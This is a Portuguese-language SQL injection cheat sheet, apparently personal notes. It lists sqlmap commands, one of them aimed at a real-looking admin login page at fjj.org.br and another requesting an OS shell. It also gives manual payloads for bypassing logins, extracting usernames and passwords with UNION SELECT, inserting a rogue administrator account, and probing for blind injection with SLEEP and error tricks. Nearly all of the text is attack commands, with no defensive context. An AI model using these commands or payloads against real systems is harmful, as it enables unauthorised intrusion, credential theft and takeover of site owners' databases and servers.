sqlmap -u "http://exemplo.com/login.php" --data="username=teste&password=teste&Login=Login" --method POST --level=1 --risk=1 --technique=BEUST --dbms=mysql --dbs
python sqlmap.py -u "https://fjj.org.br/sistema/admin/login.php" --data "username=' or 1=1; --password=password" --method POST --level=1 --risk=1 --technique=BEUST --dbs
sqlmap.py -r post.txt --dbs
sqlmap -u "http://exemplo.com/injection.php?parameter=value" --method GET --level=2 --risk=2 --technique=BEUST --dbms=mysql --dbs
Uma maneira comum de verificar se uma URL está vulnerável à injeção de SQL é tentar adicionar aspas simples (') a um parâmetro da URL e observar a resposta do servidor. Se o servidor responder com um erro ou comportamento inesperado, isso pode indicar uma vulnerabilidade de injeção de SQL.
http://exemplo.com/pagina.php?id=1'
sqlmap -u "http://exemplo.com/injection_post.php" --data="data=@dados_post.txt" --method POST --level=5 --risk=3 --technique=BEUST --dbms=mysql --dbs
sqlmap -u "http://exemplo.com/injection_blind.php?parameter=value" --method GET --level=3 --risk=2 --technique=BEUST --dbms=mysql --dbs
' OR 1=1 --
Injeção SQL para Obter Informações Confidenciais:
' UNION SELECT username, password FROM users WHERE '1'='1
Injeção SQL para Adicionar um Novo Usuário Administrador:
'; INSERT INTO users (username, password) VALUES ('hacker', 'novasenha') --
sqlmap --dbms=mysql -u "$URL" --os-shell
Se a vulnerabilidade de injeção de SQL estiver presente em parâmetros da URL, o método de ataque será diferente. Aqui estão alguns exemplos de como os comandos de injeção de SQL poderiam ser usados em uma solicitação GET
Injeção SQL para Bypass do Login.Este comando injeta uma condição sempre verdadeira no parâmetro do nome de usuário na URL, tentando ignorar a autenticação.
http://exemplo.com/login.php?username=' OR 1=1 --
Injeção SQL para Obter Informações Confidenciais.Este comando tenta injetar uma consulta SQL maliciosa no parâmetro id da URL para recuperar informações confidenciais da tabela de usuários.
http://exemplo.com/informacoes.php?id=1 UNION SELECT username, password FROM users WHERE '1'='1'
Injeção SQL para Adicionar um Novo Usuário Administrador.Este comando tenta injetar uma sequência de SQL maliciosa no parâmetro username da URL para inserir um novo usuário com privilégios de administrador.
http://exemplo.com/criar_usuario.php?username=hacker&password=novasenha'; INSERT INTO users (username, password) VALUES ('hacker', 'novasenha') --
http://exemplo.com/pagina.php?id=1
Vamos usar o parâmetro id como entrada para a nossa injeção de SQL. Primeiro, vamos tentar determinar se o parâmetro id é vulnerável a injeção de SQL blind.
Adicione uma condição que resultaria em um atraso perceptível se a injeção de SQL blind fosse bem-sucedida. Por exemplo:
http://exemplo.com/pagina.php?id=1' AND SLEEP(5) --
Se houver um atraso de aproximadamente 5 segundos na resposta do servidor, isso pode indicar uma vulnerabilidade de injeção de SQL blind.
Use expressões booleanas para determinar se a aplicação responde de maneira diferente com base na avaliação dessas expressões. Por exemplo:
http://exemplo.com/pagina.php?id=1' OR 1=1 --
Se a página responder da mesma forma que quando id=1, isso pode indicar uma vulnerabilidade.
Observe qualquer diferença no comportamento da aplicação em resposta a solicitações maliciosas. Por exemplo, se a aplicação retornar uma mensagem de erro específica ou exibir conteúdo diferente, isso pode indicar uma vulnerabilidade.
Tente induzir a aplicação a gerar um erro SQL. Por exemplo:
http://exemplo.com/pagina.php?id=1' AND (SELECT * FROM invalid_table) --
Se a aplicação retornar uma mensagem de erro indicando que a tabela é inválida, isso pode ser um sinal de uma vulnerabilidade de injeção de SQL.